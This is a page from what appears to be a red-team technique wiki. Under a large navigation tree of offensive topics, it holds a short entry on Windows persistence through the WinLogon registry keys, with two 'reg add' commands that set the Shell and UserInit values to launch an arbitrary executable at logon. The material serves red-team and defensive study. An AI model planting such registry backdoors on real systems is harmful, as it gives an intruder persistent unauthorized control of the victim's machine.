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  • The Red Team Vade Mecum
  • Techniques
    • Defense Evasion
      • Binary Properties and Code Signing
      • ATA/ATP
        • Important Note
        • Intro
        • Lateral Movement
        • Domain Dominance
        • Identification
        • Recon
        • Blocking/Disabling Telemetry
          • Trusted Installer
      • Tips and Tricks
      • Basics
        • IOCs
          • High Level Overview of EDR technologies
        • Sandbox Evasion
        • Obfuscating Imports
          • Bootstrapping
        • Encrypting Strings
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        • ETW Bypasses
        • AMSI Bypasses
      • Minimization
        • Commands to Avoid
        • Pivoting
        • Benefits of Using APIs
        • Thread-less Payload Execution
        • DLL Hollowing
      • Misdirection
        • Command Line Argument Spoofing
        • PPID Spoofing via CreateProcess
        • Switching Parents
          • Dechaining via WMI
      • Hiding our Payloads
        • Event Logs
        • File metadata
        • Registry Keys
        • ADS
      • IPC For Evasion and Control
    • Privilege Escalation
      • Hunting For Passwords
      • To System
        • New Service
        • Named Pipe Impersonation
        • Local Exploits
        • AlwaysInstallElevated
      • Hijacking Execution
        • Environment Variable interception
        • DLL Hijacking
      • Insecure Permissions
        • Missing Services and Tasks
        • Misconfigured Registry Hives
        • Insecure Binary Path
        • Unquoted Service Paths
    • Enumeration
      • Situational Awareness
      • Recon Commands
        • .NET AD Enum commands
        • WMIC commands
          • WMI queries from c++
    • Execution
      • Cool ways of Calling a Process
      • One Liners
    • Initial Access
      • Tips and Tricks
      • Tools
      • Staging/Stagers
      • MS Office
        • Macros
          • Evasion
            • VBA Stomping
            • Revert To Legacy Warning in Excel
            • Sandbox Evasion
          • Info Extraction
          • Inline Shapes
          • .MAM Files
          • PowerPoint
          • ACCDE
          • Shellcode Execution
          • Info Extraction
          • Dechaining Macros
        • Field Abuse
        • DDE
      • Payload Delivery
      • File Formats
        • MSG
        • RTF
        • REG
        • BAT
        • MSI Files
        • IQY
        • CHM
        • LNK
          • Using LNK to Automatically Download Payloads
        • HTA
    • Lateral Movement
      • Linux
        • SSH Hijacking
        • RDP
        • Impacket
      • No Admin?
      • Checking for access
      • Poison Handler
      • WinRM
      • AT
      • PsExec
      • WMI
      • Service Control
      • DCOM
      • RDP
      • SCShell
    • Code Injection
      • Hooking
        • Detours
      • CreateRemoteThread
      • DLL Injection
      • APC Queue Code Injection
      • Early Bird Injection
    • Persistence
      • Scheduled Tasks
        • AT
      • MS Office
      • SQL
      • Admin Level
        • SSP
        • Services
        • Default File Extension
        • AppCert DLLs
        • Time Provider
        • Waitfor
        • WinLogon
        • Netsh Dlls
        • RDP Backdoors
        • AppInit Dlls
        • Port Monitor
        • WMI Event Subscriptions
      • User Level
        • LNK
        • Startup Folder
        • Junction folders
        • Registry Keys
        • Logon Scripts
        • Powershell Profiles
        • Screen Savers
  • Infrastructure
    • SQL
      • MS SQL
        • Basics
        • Finding Sql Servers
        • Privilege Escalation
        • Post Exploitation
  • Other
    • Vulnerability Discovery
      • Web Vulnerabilities
        • Code Grepping
          • PHP Cheatsheet
    • Windows Internals
      • Unorganized Notes
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  1. Techniques
  2. Persistence
  3. Admin Level

WinLogon

WinLogon is a component thats handles various "login" activities like Logon, Logoffs, loading user profiles etc. This is managed by registry keys, and we can use these registry keys for persistence.

WinLogon has 2 registry keys values we can use for persistence, shell and UserInit values.

Shell gets executed at login time, and UserInit initializes the users session and is executed by winlogon.

Shell

copy c:\executable.exe c:\windows\system32
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Shell" /T REG_SZ /D "explorer.exe,executable.exe" /F

UserInit

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "UserInit" /T REG_SZ /D "C:\Windows\system32\userinit.exe,c:\windows\system32\executable.exe" /F 

Notify

The notify registry key is found in older OS's and points to a notification package DLL file which handles WinLogon events. We can add DLL entries under this key to cause it to be loaded during logon.

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